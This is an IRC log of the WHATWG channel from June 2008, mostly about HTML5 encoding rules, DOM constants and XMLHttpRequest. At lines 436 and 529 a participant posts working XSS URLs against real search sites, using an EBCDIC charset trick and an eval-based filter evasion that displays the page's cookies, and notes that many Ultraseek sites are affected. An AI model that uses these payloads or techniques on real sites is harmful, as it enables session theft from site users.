  386. # [11:37] * Joins: maikmerten (n=merten@ls5laptop14.cs.uni-dortmund.de)
  387. # [11:39] <annevk> hahaha
  388. # [11:41] <virtuelv> ssssshhhhhhh. some governments will launch "The war on browsers", then
  389. # [11:42] <Dashiiva> Wouldn't it be the war on tolerance? :)
  390. # [11:42] * Quits: MacDome (n=eric@c-67-180-49-110.hsd1.ca.comcast.net)
  391. # [11:42] <Philip`> Tolerance will not be tolerated
  392. # [11:43] <Dashiiva> At least it's internally consistent
  393. # [11:58] * Quits: hdh (n=hdh@118.71.126.80) (Read error: 110 (Connection timed out))
  394. # [11:59] * Quits: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net) (Read error: 104 (Connection reset by peer))
  395. # [11:59] * Joins: othermaciej_ (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  396. # [12:00] * othermaciej_ is now known as othermaciej
  397. # [12:06] * Joins: tndH_ (i=Rob@87.102.5.204)
  398. # [12:06] * tndH_ is now known as tndH
  399. # [13:13] * Disconnected
  400. # [13:14] * Attempting to rejoin channel #whatwg
  401. # [13:14] * Rejoined channel #whatwg
  402. # [13:14] * Topic is 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Please leave your sense of logic at the door, thanks!'
  403. # [13:14] * Set by gsnedders on Tue Dec 18 21:41:19
  404. # [13:18] <zcorpan> is there a good reason why constants aren't { ReadOnly } ?
  405. # [13:18] <zcorpan> in the DOM
  406. # [13:19] <zcorpan> i mean, if you can change them, they aren't particularly constant :)
  407. # [13:26] * Quits: roc (n=roc@121-72-162-128.dsl.telstraclear.net)
  408. # [13:31] * Joins: roc (n=roc@121-72-162-128.dsl.telstraclear.net)
  409. # [13:33] * Quits: webben (n=benh@nat/yahoo/x-8ff3a5a95248f4da)
  410. # [13:35] * Quits: roc (n=roc@121-72-162-128.dsl.telstraclear.net) (Client Quit)
  411. # [13:45] <annevk> Philip`, your 9.5 changelog issues are being dealt with
  412. # [13:45] <annevk> Philip`, whenever an opera.com update is pushed through it should be resolved
  413. # [14:03] * Quits: eseidel_ (n=eseidel@c-67-180-49-110.hsd1.ca.comcast.net)
  414. # [14:14] * Quits: virtuelv (n=virtuelv@pat-tdc.opera.com) ("Ex-Chat")
  415. # [14:38] * Joins: webben (n=benh@nat/yahoo/x-d9fccc63387a5b0a)
  416. # [14:45] <Philip`> annevk: Ah - if those issues are being fixed, someone might also want to update the broken links to the multipage WHATWG spec
  417. # [14:46] <Philip`> "Attribute values in innerHTML are now encoded as required by HTML5." links to http://www.whatwg.org/specs/web-apps/current-work/multipage/section-serialising.html#html-fragment
  418. # [14:46] <annevk> and http://www.whatwg.org/specs/web-apps/current-work/multipage/serializing.html#html-fragment is better?
  419. # [14:47] * Joins: ROBOd2 (n=robod@89.122.216.38)
  420. # [14:47] <Philip`> http://www.whatwg.org/specs/web-apps/current-work/#html-fragment is better
  421. # [14:47] <Philip`> and also is consistent with the other links on that page
  422. # [14:47] <Philip`> People reading the changelog are probably using Opera, so they should be able to cope with loading the spec :-)
  423. # [14:48] <annevk> hehe
  424. # [14:50] * Joins: qwert666 (n=qwert666@acax92.neoplus.adsl.tpnet.pl)
  425. # [14:53] <Philip`> zcorpan: A (possibly twisted) perspective is that when you say Node.ELEMENT_NODE = 'Hello world', you aren't modifying that constant at all - you're just modifying Node, which is not a constant
  426. # [15:02] * Quits: ROBOd (n=robod@89.122.216.38) (Read error: 110 (Connection timed out))
  427. # [15:10] * Joins: webben_ (n=benh@nat/yahoo/x-6f3feafb05c8bf46)
  428. # [15:20] * Quits: webben (n=benh@nat/yahoo/x-d9fccc63387a5b0a) (Read error: 110 (Connection timed out))
  429. # [15:21] * Joins: qwert666_ (n=qwert666@acax92.neoplus.adsl.tpnet.pl)
  430. # [15:32] * Quits: qwert666 (n=qwert666@acax92.neoplus.adsl.tpnet.pl) (Connection timed out)
  431. # [15:44] * Joins: qwert666 (n=qwert666@acas213.neoplus.adsl.tpnet.pl)
  432. # [15:58] <zcorpan> Philip`: but Node.ELEMENT_NODE is what you'd rely on being equivalent to 1
  433. # [16:01] <annevk> can you set ele.ELEMENT_NODE as well?
  434. # [16:06] <zcorpan> yes
  435. # [16:06] <zcorpan> in opera at least
  436. # [16:06] <Philip`> http://web-search.cam.ac.uk/index.html?charset=cp037%00%14%cb%c4%ca%d1%f8%c8%9e%2f%25%c1%ca%c8%88%1b%7c%3f%f8%cb%1b%89%14%07%cb%c4%ca%d1%f8%c8%9e%8e - yay, EBCDIC XSS
  437. # [16:07] <annevk> zcorpan, k
  438. # [16:08] * Joins: Dashimon (i=Dashiva@199.84-48-51.nextgentel.com)
  439. # [16:09] * Quits: qwert666_ (n=qwert666@acax92.neoplus.adsl.tpnet.pl) (Connection timed out)
  440. # [16:10] <annevk> hmm
  441. # [16:10] <annevk> const x = 1; x = 2; w(x) gives 1
  442. # [16:11] <zcorpan> ok, then i guess the safari behavior (fails silently) is better than throwing, for consistency
  443. # [16:12] <annevk> gives 2 in Opera btw
  444. # [16:13] <annevk> :/
  445. # [16:13] <annevk> (though it's good that Opera is consistent)
  446. # [16:14] <hsivonen> looks like html4all votes in secret
  447. # [16:15] * Quits: qwert666 (n=qwert666@acas213.neoplus.adsl.tpnet.pl) (Connection timed out)
  448. # [16:15] <annevk> votes?
  449. # [16:16] * Joins: qwert666 (n=qwert666@acas213.neoplus.adsl.tpnet.pl)
  450. # [16:16] <hsivonen> annevk: http://html4all.org/mailman/archives/list_html4all.org/2008-June/000911.html
  451. # [16:16] <hsivonen> the link http://juicystudio.com/survey/results.php?id=12
  452. # [16:16] <hsivonen> asks me for login
  453. # [16:17] <annevk> ah, I hadn't noticed that
  454. # [16:18] <annevk> seems they have plenty of stuff to keep themselves busy
  455. # [16:18] * Quits: Dashiva (i=Dashiva@wikia/Dashiva) (Read error: 110 (Connection timed out))
  456. # [16:18] * Dashimon is now known as Dashiva
  457. # [16:20] * Joins: billmason (n=billmaso@ip246.unival.com)
  458. # [16:37] <Philip`> Does HTML5 say what to do with a document that sends Content-Type: text/html; charset=something-not-supported ? (I can't find any requirements for that)
  459. # [16:38] * Joins: phsiao (n=shawn@nat/ibm/x-6f3df1b34e93a180)
  460. # [16:41] * Quits: webben_ (n=benh@nat/yahoo/x-6f3feafb05c8bf46)
  461. # [16:44] <hsivonen> Philip`: as far as I can tell, it boils down to using Windows-1252 for "Western demographic"
  462. # [16:44] * Joins: webben (n=benh@nat/yahoo/x-80b0ee6eb8d1161b)
  463. # [16:45] <Philip`> hsivonen: Where does it say that? "Determining the character encoding" will stop in step 1, because it's got a confident encoding from the transport layer
  464. # [16:45] <Philip`> so it'll never get to step 7, which is where the guess-it's-windows-1252 comes from
  465. # [16:46] <annevk> public-html@w3.org :)
  466. # [16:46] <hsivonen> hmm. I've somehow thought that you don't have an encoding in hand when you have a name string but that you have an encoding in hand when you actually got a decoder object
  467. # [16:47] <hsivonen> Philip`: but yeah, time to file a spec bug or send email
  468. # [16:47] <annevk> I'm hoping I'm on some kind of whitelist because I don't really want to use bugzilla to request for changes
  469. # [16:48] <annevk> if this at some point turns out to be not the case I suppose I'll adjust my behavior
  470. # [16:49] <hsivonen> I think I'm going to try out bugzilla and see how it feels
  471. # [16:50] <annevk> more href: http://meyerweb.com/eric/thoughts/2008/06/12/linking-up/
  472. # [16:50] <annevk> hsivonen, let me know
  473. # [16:55] <hsivonen> but I'm not going to write more metadata than I'd write for a subject of an email
  474. # [17:00] <Dashiiva> annevk: Can't you just send email to whatwg@?
  475. # [17:00] * Quits: maikmerten (n=merten@ls5laptop14.cs.uni-dortmund.de) (Remote closed the connection)
  476. # [17:01] * Joins: grimboy (n=grimboy@78-105-162-250.zone3.bethere.co.uk)
  477. # [17:04] * hsivonen didn't expect IE5 and IE6 to ever become conforming W3C XHR impls.
  478. # [17:05] * Quits: webben (n=benh@nat/yahoo/x-80b0ee6eb8d1161b)
  479. # [17:06] * Joins: smedero (n=smedero@mdp-nat251.mdp.com)
  480. # [17:07] * hsivonen is amazed about the level of objection that beign secure with TRACK generates
  481. # [17:18] <Dashiiva> I'm amazed by the level of objection to documenting existing practice. Surely XHR2 would be a much better target for people making standalone XHR
  482. # [17:20] <Philip`> If XHR requires TRACK to be handled securely, wouldn't XHR2 have to do exactly the same?
  483. # [17:21] <Philip`> in which case it's better to argue against it in XHR, because otherwise by the time they get to XHR2 there'll be precedent for specifying TRACK in that way and it'll be much harder to change
  484. # [17:21] <Dashiiva> I was referring to the window dependency
  485. # [17:21] <Philip`> Oh, okay
  486. # [17:21] * gsnedders depends on Dashiiva
  487. # [17:21] <Dashiiva> My passport would result in an import error :)
  488. # [17:23] * Quits: zcorpan (n=zcorpan@pat.se.opera.com)
  489. # [17:26] <gsnedders> Opera 9.5 becomes the second UA to be able to print my blog correctly (though nobody cares)
  490. # [17:26] <hsivonen> gsnedders: second after Prince?
  491. # [17:26] <gsnedders> hsivonen: yeah
  492. # [17:41] * Quits: sverrej (n=sverrej@pat-tdc.opera.com) (Read error: 110 (Connection timed out))
  493. # [17:42] * Quits: weinig (n=weinig@c-71-198-176-23.hsd1.ca.comcast.net)
  494. # [17:55] * Parts: qwert666 (n=qwert666@acas213.neoplus.adsl.tpnet.pl) ("Leaving")
  495. # [17:56] <gsnedders> I wonder if I've finally managed to start to implement the TOC algorithm correctly
  496. # [17:57] <Philip`> Does it pass tests?
  497. # [17:58] * Philip` guesses that's the easiest way to determine "correct"
  498. # [17:59] <gsnedders> Philip`: I haven't written enough to test it, and there aren't any tests for it :P
  499. # [18:00] <Philip`> Is this based on the "Creating an outline" algorithm?
  500. # [18:01] <gsnedders> Philip`: yeah
  501. # [18:04] * Joins: dbaron (n=dbaron@c-71-204-153-3.hsd1.ca.comcast.net)
  502. # [18:12] * Joins: hober (n=ted@unaffiliated/hober)
  503. # [18:18] * Quits: Philip` (n=philip@zaynar.demon.co.uk) (Read error: 110 (Connection timed out))
  504. # [18:18] * Joins: Philip`_ (n=philip@zaynar.demon.co.uk)
  505. # [18:20] * Philip`_ is now known as Philip`
  506. # [18:26] * Joins: aroben (n=adamrobe@72-165-115-225.dia.static.qwest.net)
  507. # [18:42] * Joins: webben (n=benh@nat/yahoo/x-9ff59ebcf204542d)
  508. # [18:47] * Quits: grimboy (n=grimboy@78-105-162-250.zone3.bethere.co.uk) ("Lost terminal")
  509. # [18:53] * Joins: weinig (n=weinig@17.203.15.145)
  510. # [18:55] * Joins: jruderman (n=jruderma@ip68-5-179-249.oc.oc.cox.net)
  511. # [19:11] * Joins: zcorpan (n=zcorpan@pat.se.opera.com)
  512. # [19:11] * Joins: sverrej (n=sverrej@89.10.27.86)
  513. # [19:11] * Joins: jgraham__ (n=jgraham@xpc9.ast.cam.ac.uk)
  514. # [19:14] * Quits: zcorpan (n=zcorpan@pat.se.opera.com) (Client Quit)
  515. # [19:27] * Quits: webben (n=benh@nat/yahoo/x-9ff59ebcf204542d)
  516. # [19:58] * Quits: Lachy (n=Lachlan@pat-tdc.opera.com) ("This computer has gone to sleep")
  517. # [20:00] * Joins: KevinMarks (n=KevinMar@nat/google/x-ab6163b77940510e)
  518. # [20:20] * Quits: jruderman (n=jruderma@ip68-5-179-249.oc.oc.cox.net)
  519. # [20:23] * Quits: aroben (n=adamrobe@unaffiliated/aroben)
  520. # [20:41] <Philip`> What's the most concise way to write a script that accesses the 'document' object, without using the letter 'n'?
  521. # [20:43] <hober> o_O
  522. # [20:44] <Philip`> Hmm, I suppose eval("docume\x6et") is good enough
  523. # [20:45] <gavin_> what kind of script sanitizer filters out "n", but not "eval"? :)
  524. # [20:45] <tndH> or this["docume\x6et"] as long as this == window
  525. # [20:45] <blooberry> philip`: and motivation for this is?
  526. # [20:46] <Philip`> I can only use letters which, when encoded as iso-8859-1 then decoded as cp037 then HTML-escaped (replace <>&" with &lt; etc) then encoded as cp037 then decoded as iso-8859-1, remain unchanged
  527. # [20:46] <Philip`> which rules out 'n' because it turns into '>'
  528. # [20:46] <blooberry> owww. my head. 8-}
  529. # [20:47] <Philip`> http://search.ultraseek.com/query.html?charset=cp037&qt=%3Cscript%3Ealert(%22I'm%20steali%5Cx6eg%20your%20cookies:%20%22%2Beval(%22docume%5Cx6et%22).cookie)%3C/script%3E&oldqt=%3Cscript%3Ealert(%22I'm%20steali%5Cx6eg%20your%20cookies:%20%22%2Beval(%22docume%5Cx6et%22).cookie)%3C/script%3E
  530. # [20:47] <Philip`> (Doesn't work in IE or Safari, does in Opera and Firefox)
  531. # [20:47] <gavin_> heh
  532. # [20:47] <Philip`> Also works on the loads of sites across the web that use Ultraseek
  533. # [20:48] <Philip`> (some of which may have more interesting cookies and whatnots)
  534. # [20:48] <takkaria> nice
  535. # [20:49] <Philip`> Conclusion: For security reasons, browsers must implement support for EBCDIC encodings
  536. # [20:51] * Joins: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  537. # [20:54] * Quits: dbaron (n=dbaron@c-71-204-153-3.hsd1.ca.comcast.net) ("8403864 bytes have been tenured, next gc will be global.")
  538. # [20:57] * Quits: hdh (n=hdh@118.71.126.160) (Remote closed the connection)
  539. # [21:02] * Joins: eseidel (n=eseidel@user-64-9-232-169.googlewifi.com)
  540. # [21:02] * Philip` fails to find anywhere to report the Ultraseek bug directly
  541. # [21:03] * Joins: eseidel_ (n=eseidel@nat/google/x-eccbcb2df60ac486)
  542. # [21:11] * Joins: dbaron (n=dbaron@corp-241.mountainview.mozilla.com)
  543. # [21:18] * Quits: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net) (Read error: 104 (Connection reset by peer))
  544. # [21:19] * Joins: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  545. # [21:25] * Quits: jgraham__ (n=jgraham@xpc9.ast.cam.ac.uk) ("leaving")
  546. # [21:25] * Quits: eseidel (n=eseidel@user-64-9-232-169.googlewifi.com) (No route to host)
  547. # [21:41] * Joins: smedero_ (n=smedero@mdp-nat251.mdp.com)
  548. # [21:41] * Quits: smedero (n=smedero@mdp-nat251.mdp.com) (Read error: 104 (Connection reset by peer))
  549. # [21:44] * Joins: virtuelv (n=virtuelv@192.80-203-77.nextgentel.com)
  550. # [21:48] * smedero_ is now known as smedero
  551. # [21:52] * weinig is now known as weinig|away
  552. # [21:55] * Joins: Lachy (n=Lachlan@85.196.122.246)
  553. # [22:19] * Joins: roc (n=roc@121-72-162-128.dsl.telstraclear.net)
  554. # [22:25] * Joins: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se)
  555. # [22:36] * Quits: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se) (Remote closed the connection)
  556. # [22:48] <bzed> jgraham_: when do you want to release 0.11?
  557. # [22:51] * Quits: tantek (n=tantek@c-24-19-2-124.hsd1.wa.comcast.net)
  558. # [22:55] * Joins: csarven (n=csarven@modemcable130.251-202-24.mc.videotron.ca)
  559. # [23:03] * Quits: roc (n=roc@121-72-162-128.dsl.telstraclear.net)
  560. # [23:10] <jgraham_> bzed: We did a 0.11 release but I need to upload it to pypi
  561. # [23:16] <bzed> jgraham_: oh, then I missed it :)
  562. # [23:17] <bzed> I'll upload it to debian next hour
  563. # [23:17] * Joins: tantek (n=tantek@72-56-180-250.area2.spcsdns.net)
  564. # [23:21] * Quits: ROBOd2 (n=robod@89.122.216.38) ("http://www.robodesign.ro")
  565. # [23:22] <bzed> jgraham_: the 0.11.1 zip is a bit buggy : http://paste.debian.net/6402/
  566. # [23:23] <bzed> there're some files twice in there
  567. # [23:27] * Joins: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se)
  568. # [23:28] * Quits: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net) (Read error: 104 (Connection reset by peer))
  569. # [23:28] * Joins: othermaciej (n=mjs@c-24-5-43-151.hsd1.ca.comcast.net)
  570. # [23:36] * Quits: zcorpan_ (n=zcorpan@c-cb21e353.1451-1-64736c12.cust.bredbandsbolaget.se) (Remote closed the connection)
  571. # [23:43] * Joins: qwert666 (n=qwert666@acas213.neoplus.adsl.tpnet.pl)
  572. # [23:55] <annevk> sigh
  573. # [23:55] <annevk> TRACK :/
  574. # [23:55] <annevk> god I hate XMLHttpRequest
  575. # [23:55] <gsnedders> Is there any editor of any spec who _likes_ what they're working on?
  576. # [23:56] <annevk> I do, Last Call is just so distracting
  577. # [23:57] <annevk> and so much more overhead
  578. # Session Close: Sat Jun 14 00:00:00 2008

The end :)